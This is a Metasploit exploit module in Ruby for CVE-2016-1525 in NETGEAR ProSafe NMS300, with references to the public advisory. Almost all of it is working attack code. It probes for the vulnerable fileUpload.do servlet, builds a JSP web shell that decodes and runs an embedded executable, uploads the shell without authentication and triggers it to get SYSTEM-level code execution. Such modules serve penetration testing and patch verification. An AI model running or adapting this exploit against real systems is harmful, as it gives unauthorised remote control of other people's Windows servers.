##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
      'Description' => %q{
        Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
        The application has a file upload vulnerability that can be exploited by an
        unauthenticated remote attacker to execute code as the SYSTEM user.
        Two servlets are vulnerable, FileUploadController (located at
        /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
        This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
        1.1.0.13.
      },
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2016-1525'],
          ['US-CERT-VU', '777024'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
        ],
      'DefaultOptions' => { 'WfsDelay' => 5 },
      'Platform' => 'win',
      'Arch' => ARCH_X86,
      'Privileged' => true,
      'Targets' =>
        [
          [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 4 2016'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true,  "Application path", '/'])
      ])
  end


  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
      'method' => 'GET'
    })
    if res && res.code == 405
      Exploit::CheckCode::Detected
    else
      Exploit::CheckCode::Safe
    end
  end


  def generate_jsp_payload
    exe = generate_payload_exe
    base64_exe = Rex::Text.encode_base64(exe)
    payload_name = rand_text_alpha(rand(6)+3)

    var_raw     = 'a' + rand_text_alpha(rand(8) + 3)
    var_ostream = 'b' + rand_text_alpha(rand(8) + 3)
    var_buf     = 'c' + rand_text_alpha(rand(8) + 3)
    var_decoder = 'd' + rand_text_alpha(rand(8) + 3)
    var_tmp     = 'e' + rand_text_alpha(rand(8) + 3)
    var_path    = 'f' + rand_text_alpha(rand(8) + 3)
    var_proc2   = 'e' + rand_text_alpha(rand(8) + 3)

    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
    } catch (Exception e) {
    }
    %>
    |

    jsp.gsub!(/[\n\t\r]/, '')

    return jsp
  end


  def exploit
    jsp_payload = generate_jsp_payload

    jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
    jsp_full_name = "null#{jsp_name}.jsp"
    post_data = Rex::MIME::Message.new
    post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')
    post_data.add_part(jsp_payload,
      "application/octet-stream", 'binary',
      "form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")
    data = post_data.to_s

    print_status("#{peer} - Uploading payload...")
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
      'method' => 'POST',
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })
    if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
      print_good("#{peer} - Payload uploaded successfully")
    else
      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
    end

    print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], jsp_full_name),
      'method' => 'GET'
    })
    handler
  end
end
